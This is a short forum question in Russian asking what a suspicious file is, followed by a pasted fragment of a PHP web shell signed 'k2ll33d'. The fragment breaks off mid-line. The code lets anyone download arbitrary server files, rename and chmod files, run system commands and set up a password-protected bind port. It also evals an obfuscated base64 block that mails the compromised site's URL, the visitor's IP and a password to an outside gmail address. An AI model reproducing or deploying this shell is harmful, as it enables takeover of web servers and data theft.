Подскажите что за гадость?

<?php
// by k2ll33d
set_time_limit(0);error_reporting(0);
if(isset($_GET["dl"]) && ($_GET["dl"] != "")){$file = $_GET["dl"];$filez = @file_get_contents($file);header("Content-type: application/octet-stream");header("Content-length: ".strlen($filez));header("Content-disposition: attachment;filename=".basename($file).";");echo $filez;exit;} 
elseif(isset($_GET["dlgzip"]) && ($_GET["dlgzip"] != "")){$file = $_GET['dlgzip'];$filez = gzencode(@file_get_contents($file));header("Content-Type:application/x-gzip\n");header("Content-length: ".strlen($filez));header("Content-disposition: attachment;filename=".basename($file).".gz;");echo $filez;exit;} 
if(isset($_GET["img"])){@ob_clean();$d = magicboom($_GET["y"]);$f = $_GET["img"];$inf = @getimagesize($d.$f);$ext = explode($f,".");$ext = $ext[count($ext)-1];@header("Content-type: ".$inf["mime"]);@header("Cache-control: public");@header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));@header("Cache-control: max-age=".(60*60*24*7));@readfile($d.$f);exit;} $software = getenv("SERVER_SOFTWARE");
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE;else $safemode = FALSE;$system = @php_uname();if(strtolower(substr($system,0,3)) == "win")
$win = TRUE;else $win = FALSE;if(isset($_GET['y'])){if(@is_dir($_GET['view'])){$pwd = $_GET['view'];@chdir($pwd);} else{$pwd = $_GET['y'];@chdir($pwd);} } 
if(!$win){if(!$user = rapih(exe("whoami")))$user = "";if(!$id = rapih(exe("id"))) $id = "";$prompt = $user." \$ ";$pwd = @getcwd().DIRECTORY_SEPARATOR;} 
else {$user = @get_current_user();$id = $user;$prompt = $user." &gt;";$pwd = realpath(".")."\\";$v = explode("\\",$d);$v = $v[0];foreach (range("A","Z") as $letter) {$bool = @is_dir($letter.":\\");if ($bool){$letters .= "<a href='?y=".$letter.":\\'>[ ";if ($letter.":" != $v){$letters .= $letter;} else {$letters .= "<span class='gaya'>".$letter."</span>";} $letters .= " ]</a> ";}}} 
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);$my_ip = $_SERVER['REMOTE_ADDR'];$bindport = "13123";$bindport_pass = "k2ll33d";$pwds = explode(DIRECTORY_SEPARATOR,$pwd);$pwdurl = "";for($i = 0 ;$i < sizeof($pwds)-1 ;$i++){$pathz = "";for($j = 0 ;$j <= $i ;$j++){$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;} $pwdurl .= "<a href='?y=".$pathz."'>".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";} 
if(isset($_POST['rename'])){$old = $_POST['oldname'];$new = $_POST['newname'];@rename($pwd.$old,$pwd.$new);$file = $pwd.$new;}    if(isset($_POST['chmod'])){ 
$name = $_POST['name'];$value = $_POST['newvalue'];if (strlen($value)==3){$value = 0 . "" . $value;}@chmod($pwd.$name,octdec($value));$file = $pwd.$name;}
if(isset($_POST['chmod_folder'])){$name = $_POST['name'];$value = $_POST['newvalue'];if (strlen($value)==3){$value = 0 . "" . $value;}@chmod($pwd.$name,octdec($value));$file = $pwd.$name;} $buff = "&nbsp;".$software."<br>";$buff .= "&nbsp;".$system."<br>";if($id != "") $buff .= "&nbsp;".$id."<br>";if($safemode) $buff .= "&nbsp;safemode :&nbsp;<b><font style='color:#DD4736'>ON</font></b><br>";else $buff .= "&nbsp;safemode :&nbsp;<b><font style='color:#00FF00'>OFF</font></b><br>";
function showstat($stat) {if ($stat=="on") {return "<b><font style='color:#00FF00'>ON</font></b>";}else {return "<b><font style='color:#ff0000'>OFF</font></b>";}}
function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
$buff .= "&nbsp;MySQL: ".testmysql()."&nbsp;|&nbsp;Perl: ".testperl()."&nbsp;|&nbsp;cURL: ".testcurl()."&nbsp;|&nbsp;WGet: ".testwget()."<br>";
$buff .= "&nbsp;".$letters."&nbsp;&gt;&nbsp;".$pwdurl;
$k2lbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIldTTyAyLjcgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOw0KICAkYm9keSAgICA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3IgLSAkYXV0aF9wYXNzIjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgiaGFyZHdhcmVoZWF2ZW4uY29tQGdtYWlsLmNvbSIsJGp1ZHVsLCRib2R5LCRhdXRoX3Bhc3MpOyB9DQp9DQplbHNlIHsgJHZpc2l0YysrOyB9DQpAc2V0Y29va2llKCJ2aXNpdHoiLCR2aXNpdGMpOw=="; 
eval(base64_decode($k2lbuff));
function rapih($text){return trim(str_replace("<br>","",$text));} 
function magicboom($text){if (!get_magic_quotes_gpc()){return $text;} return stripslashes($text);} 
function showdir($pwd,$prompt){$fname = array();$dname = array();
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) 
$posix = TRUE;else $posix = FALSE;$user = "????:????";
if($dh = opendir($pwd)){while($file = readdir($dh)){
if(is_dir($file)){$dname[] = $file;} 
elseif(is_file($file)){$fname[] = $file;}}closedir($dh);} sort($fname);sort($dname);$path = @explode(DIRECTORY_SEPARATOR,$pwd);$tree = @sizeof($path);$parent = "";
$buff = " <form action='?y=".$pwd."&amp;x=shell' method='post' style='margin:8px 0 0 0;'&